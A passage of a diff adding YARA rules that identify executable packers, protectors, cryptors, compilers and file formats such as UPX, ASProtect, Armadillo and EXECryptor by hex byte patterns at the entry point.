entrypoint or $809 at entrypoint or $810 at entrypoint or $811 at entrypoint or $812 at entrypoint or $813 at entrypoint or $814 at entrypoint or $815 at entrypoint or $816 at entrypoint or $817 at entrypoint or $818 at entrypoint or $819 at entrypoint or $820 at entrypoint or $821 at entrypoint
+}
+rule __Protector_v1111_DDeM__PE_Engine_v09_DDeM__CI_v092_
+{
+	meta:
+		description = "*** Protector v1.1.11 (DDeM -> PE Engine v0.9, DDeM -> CI v0.9.2)"
+	strings:
+		$0 = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Launcher_Generator_103_
+{
+	meta:
+		description = "Launcher Generator 1.03"
+	strings:
+		$0 = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PAVCryptor_Pawning_AntiVirus_Cryptor__masha_dev_
+{
+	meta:
+		description = "PAV.Cryptor (Pawning AntiVirus Cryptor) -> masha_dev"
+	strings:
+		$0 = {53 56 57 55 BB 2C ?? ?? 70 BE 00 30 00 70 BF 20 ?? ?? 70 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 00 70 00 74 06 FF 15 54 30 00 70 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 1C 30 00 70 80}
+		$1 = {53 56 57 55 BB 2C ?? ?? 70 BE 00 30 00 70 BF 20 ?? ?? 70 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 00 70 00 74 06 FF 15 54 30 00 70 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 1C 30 00 70 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 14 30 00 70 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 8F FA FF FF FF 15 20 30 00 70 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 70 00 74 06 FF 15 10 ?? ?? 70 8B 06 50 E8 A9 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 00 70 E8 26 FF FF FF C3 90 8F 05 04 30 00 70 E9 E9 FF FF FF C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Borland_Delphi_40_
+{
+	meta:
+		description = "Borland Delphi 4.0"
+	strings:
+		$0 = {55 8B EC 83 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _SC_Obfuscator__SuperCRacker_
+{
+	meta:
+		description = "SC Obfuscator -> SuperCRacker"
+	strings:
+		$0 = {60 33 C9 8B 1D 00 ?? ?? ?? 03 1D 08 ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D 04 ?? ?? ?? 75 E7 A1 08 ?? ?? ?? 01 05 0C ?? ?? ?? 61 FF 25 0C}
+	condition:
+		$0
+}
+rule _Ningishzida_10__CyberDoom_
+{
+	meta:
+		description = "Ningishzida 1.0 -> CyberDoom"
+	strings:
+		$0 = {9C 60 96 E8 00 00 00 00 5D 81 ED 03 25 40 00 B9 04 1B 00 00 8D BD 4B 25 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+		$1 = {9C 60 96 E8 00 00 00 00 5D 81 ED 03 25 40 00 B9 04 1B 00 00 8D BD 4B 25 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _UPX_v081__v084_Modified__Laszlo__Markus_
+{
+	meta:
+		description = "UPX v0.81 - v0.84 Modified -> Laszlo & Markus"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V200V20X__MATCODE_Software__20090423_
+{
+	meta:
+		description = "MPRESS V2.00-V2.0X -> MATCODE Software * 20090423"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 ?? ?? ?? ?? 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 88 04 31 75 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_224__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.24 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 8C 20 00 00 A3 F8 45 40 00 E8 02 20 00 00 E8 32 1D 00 00 E8 20 19 00 00 E8 A3 16 00 00 68 01 00 00 00 68 38 46 40 00 68 00 00 00 00 8B 15 38 46 40 00 E8 71 4F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 4F 00 00 FF 35 48 41 40 00 B8 00 01 00 00 E8 9D 15 00 00 8D 0D 1C 46 40 00 5A E8 82 16 00 00 68 00 01 00 00 FF 35 1C 46 40 00 E8 24 20 00 00 A3 24 46 40 00 FF 35 48 41 40 00 FF 35 24 46 40 00 FF 35 1C 46 40 00 E8 DC 10 00 00 8D 0D 14 46 40 00 5A E8 4A 16}
+		$1 = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nPack_V112002006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.200.2006.Beta -> NEOx/[uinC"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+		$1 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HideProtect_V1016C_SoftWar_Company____SignByfly_
+{
+	meta:
+		description = "Hide&Protect V1.016C-> SoftWar Company   * Sign.By.fly"
+	strings:
+		$0 = {90 90 90 E9 D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Splasher_v10__v30_
+{
+	meta:
+		description = "Splasher v1.0 - v3.0"
+	strings:
+		$0 = {9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallAnywhere_61_Zero_G_Software_Inc_
+{
+	meta:
+		description = "InstallAnywhere 6.1 ->Zero G Software Inc"
+	strings:
+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Nuts__Bolts_Disk_Image_
+{
+	meta:
+		description = "Nuts & Bolts Disk Image"
+	strings:
+		$0 = {4E 42 69 6D}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v100_v103_
+{
+	meta:
+		description = "PKLITE v1.00, v1.03"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B}
+		$1 = {B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_WWPack32_1x__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake WWPack32 1.x) -> emadicius"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52 61 66 61 6C 20 57 69 65 72 7A 62 69 63 6B 69 0D 0A 0D 0A 5D 5B 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52 61 66 61 6C 20 57 69 65 72 7A 62 69 63 6B 69 0D 0A 0D 0A 5D 5B 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Access_Database_file_
+{
+	meta:
+		description = "Microsoft Access Database file"
+	strings:
+		$0 = {00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2223_protected_IAT_
+{
+	meta:
+		description = "EXECryptor 2.2/2.3 (protected IAT)"
+	strings:
+		$0 = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 94 ?? ?? ?? A4 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78}
+		$1 = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 94 ?? ?? ?? A4 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PseudoSigner_02_LCC_Win32_1x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 1.x] --> Anorganix"
+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_123_RC4_build_0807_exe__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect 1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Hyings_PEArmor_075exe__Hying_CCG_h_
+{
+	meta:
+		description = "Hying's PE-Armor 0.75.exe -> Hying [CCG] (h)"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C9}
+	condition:
+		$0
+}
+rule _FreeJoiner_Small_build_031032__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 031/032) -> GlOFF"
+	strings:
+		$0 = {50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40}
+		$1 = {50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+		$2 = {50 32 ?? 66 8B C3 58 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Morphine_12_
+{
+	meta:
+		description = "Morphine 1.2"
+	strings:
+		$0 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? 00 00 00 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 51 66 ?? ?? ?? 59}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V036__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.36 -> Dwing * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 5C 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF ?? ?? ?? C1 E5 08 8D 6C 6D 00 8D AC AB 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 18 33 C9 E9 03 01 00 00 B1 30 8B 6B 08 03 D1 FF 16 73 51 03 D1 FF 16 72 1B 03 D1 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 43 08 8A 00 E9 D5 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 3C 07 B0 08 72 02 B0 0B 50 55 8D 93 78 07 00 00 FF 56 1C 5D 91 E9 99 00 00 00 3C 07 B0 07 72 02 B0 0A 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 1C 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 14 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 3C E2 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_37x__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.7x -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 B8 3B 01 00 00 03 C5 33 DB 81 C3 01 01 01 01 31 18 81 38 78 54 00 00 74 04 31 18 EB EC}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V11XV12X_Method1__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X-V1.2X (Method1) -> bagie"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+		$1 = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ARJ_SFX_Custom_
+{
+	meta:
+		description = "ARJ SFX Custom"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8D 90 5C 01 00 00 68 00 00 40 00 83 3A 00 0F 84 C6 C1 FF FF 8B 04 24 8B 0A 0F BA F1 1F 73 13 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB D9 83 C2 10 8B 5A}
+		$1 = {60 BE 15 F0 40 00 8D BE EB 1F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+		$2 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 18 C0 40 00 68 C4 A1 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 38 03 41 00 A3 D0 D6 40 00 33 C0 A0 D1 D6 40 00 A3 DC D6 40 00 A1 D0 D6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _WinZip_SFX_
+{
+	meta:
+		description = "WinZip SFX"
+	strings:
+		$0 = {8A CB D3 E7 4F FF 4D D8 0F B7 08 23 FE 3B F9 75 E4 E9 9F FD FF FF FF 45 EC 8B 45 EC 39 45 E0 0F 8D 7F FD FF FF 83 7D DC 00 74 32 83 7D E0 01 74 2C B8 01 00 00 00 EB 27 83 7D D8 00 74 0E FF B5 38 FF FF FF E8 1D 00 00 00 83 C4 04 68 00 00 40}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextr_Passwcheck_Vir_shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextr. Passw.check. Vir. shield)"
+	strings:
+		$0 = {03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133a__dulekxt_
+{
+	meta:
+		description = "FSG v1.33a -> dulek/xt"
+	strings:
+		$0 = {BE A8 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_V2X_Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact V2.X-> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+		$1 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Morphine_V27__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine V2.7 -> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+	condition:
+		$0
+}
+rule _Turbo_Pascal_Help_File_
+{
+	meta:
+		description = "Turbo Pascal Help File"
+	strings:
+		$0 = {54 55 52 ?? ?? ?? 50 41 53 ?? ?? ?? ?? 48 45 4C 50}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v103b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.03b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_Win32_1995_
+{
+	meta:
+		description = "Borland C++ Win32 (1995)"
+	strings:
+		$0 = {A1 5A 00 00 00 C1 E0 02 A3 5E 00 00 00 57 51 33 C0 BF 00 00 00 00 B9 00 00 00 00 3B CF 76 05 2B CF FC F3 AA 59 5F 64 67 8B 16 04 00 89 15 6E 00 00 00 8B 42 F8 A3 66 00 00 00 8B 42 FC A3 6A 00 00 00 83 EA 04 89 15 00 00 00 00 83 EA 04 3B D4}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_BJFNT_11b_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.1b"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Cryptor_v240__v241_or_newer_
+{
+	meta:
+		description = "EXE Cryptor v2.4.0 - v2.4.1 (or newer)"
+	strings:
+		$0 = {E8 3B FF FF FF 05 ?? ?? 00 00 FF E0 E8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ID_Application_Protector_V12__ID_Security_Suite_
+{
+	meta:
+		description = "ID Application Protector V1.2 -> ID Security Suite"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_099_EXE_
+{
+	meta:
+		description = "HackStop 0.99 [EXE]"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D 00 03 73 06 B0 FF B4 4C CD 21 50 B8 EB 04 58 EB FB 9A B8 00 33 CD 21 50 E8 D5 03 8D B2 00 B8 01 33 CD 21 50 B8 EB 06 58 EB FB 66 AE 12 E8 C0 03 8D EB 02 40 93 50 55 52 8C D2 FA 50 B8 EB 04 58 EB FB 9A 8C C8 8E D0 EB 02}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (compressed resources)"
+	strings:
